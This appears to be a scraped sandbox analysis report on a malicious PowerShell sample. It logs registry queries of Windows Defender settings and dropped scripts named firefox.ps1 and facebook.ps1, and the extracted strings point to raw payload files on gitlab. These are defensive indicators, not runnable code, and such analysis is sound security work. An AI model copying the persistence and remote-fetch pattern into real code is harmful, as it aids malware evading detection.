"\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config" (Filter: 268435461; Subtree: 1)3f:T6af,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\REMOVALTOOLS\MRT"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\"; Key: ""; Value: "")40:Tbab,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "EBA789D9-533B-58D4-CD1F-2E6520E3A9C2"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "DB30E9DC-354D-48B5-9DC0-AEAEBC5C6B54"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "E4B70372-261F-4C54-8FA6-A5A7914D73DA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "PRODUCTAPPDATAPATH"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\REMOVALTOOLS\MRT"; Key: "GUID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON"; Key: "USERENVDEBUGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "GPSVCDEBUGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT"; Key: "ENABLEREMOTEMANAGEDDEFAULTS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: "DISABLELOCALADMINMERGE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: "PRODUCTGUID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "PRODUCTGUID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: "BETAPLATFORM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "BETAPLATFORM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "INSTALLLOCATION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: "MANAGEDDEFENDERPRODUCTTYPE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "MANAGEDDEFENDERPRODUCTTYPE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER"; Key: "PASSIVEMODE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS DEFENDER"; Key: "PASSIVEMODE"; Value: "")41:Tab6,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CSCAPI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\cscapi.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll"42:Ta14,"powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\25C23C65AF473F87.CUSTOMDESTINATIONS-MS" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8KT95F6TBB8HO4W998TM.TEMP" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8KT95F6TBB8HO4W998TM.temp" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\25c23c65af473f87.customDestinations-ms" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml"43:T706,"powershell.exe" writes file "\device\namedpipe\srvsvc" "powershell.exe" writes file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\customdestinations\8kt95f6tbb8ho4w998tm.temp" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_a1vu3pd2.aat.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_qh1klm4a.ae2.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\roaming\firefox.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "%appdata%\microsoft\windows\recent\customdestinations\8kt95f6tbb8ho4w998tm.temp" "powershell.exe" writes file "%temp%\__psscriptpolicytest_a1vu3pd2.aat.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_qh1klm4a.ae2.psm1" "powershell.exe" writes file "%appdata%\firefox.ps1" "powershell.exe" writes file "%localappdata%\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_c4tx1jzi.t22.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_wtgpzhid.iav.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\roaming\microsoft\windows\cloudstore\facebook.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\hcjefsh2\hcjefsh2.0.cs" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\hcjefsh2\hcjefsh2.cmdline" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\hcjefsh2\hcjefsh2.out" "powershell.exe" writes file "%temp%\__psscriptpolicytest_c4tx1jzi.t22.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_wtgpzhid.iav.psm1"44:T44e,Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00005528-00000C2C-2532496421") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp, 00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp, 00000000-00005528.00000001.226277.58960000.00000004.mdmp")45:T1b0e,Pattern match: "https://gitlab.com;$atkkk" Pattern match: "http://go.microsoft.com/fwlink/?linkid=533240" Heuristic match: "gitlab.com" Pattern match: "docx.pdf/raw?ref=main" Pattern match: "yahoo.rtf/raw?ref=main" Pattern match: "ajobcall.txt/raw?ref=main" Heuristic match: "letization.methodparameter]@{name = 'processtokensidtype'; parametertype = 'microsoft.powershell.cmdletization.generatedtypes.scheduledtask.processtokensidtypeenum'; bindings = 'in'; value = $__cmdletization_value; isvaluepresent = $true} } else { " Heuristic match: "r = [microsoft.powershell.cmdletization.methodparameter]@{name = 'hidden'; parametertype = 'system.management.automation.switchparameter'; bindings = 'in'; value = $__cmdletization_value; isvaluepresent = $true} } else { $__cmdletization_me" Heuristic match: "dletization_exceptionhasbeenthrown = $true throw } } process { try { if (-not $__cmdletization_exceptionhasbeenthrown) { $__cmdletization_methodparameters = [system.collections.gener" Heuristic match: "pathext=.com" Heuristic match: "e;.be" Pattern match: "microsoft.net/framework64/v4.0.30319/" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Heuristic match: "ckage0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://www.microsoft.com0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Heuristic match: "ft.cn" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com/windows0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.microsoft.com/windows" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Heuristic match: "ll.se" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "obalsign.com/repository/03" Pattern match: "t.com/pki/do%" Heuristic match: "system.mp" Heuristic match: "ystem.management.au" Heuristic match: "ystem.management.automation.re" Heuristic match: "nagement.au" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "0.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0019~31bf3856ad364e35~amd64~~10.0.16299.15.cat"46:T9e17,Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00004752.00000001.226698.DF8E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn" - Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcx8u" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?exuv" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;]>-xgjxx4b" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]x4h" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0t" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00004752.00000001.226698.FB560000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004752.00000001.226698.FB560000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004752.00000001.226698.FB560000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuhhsmookhgreater" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czc" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL 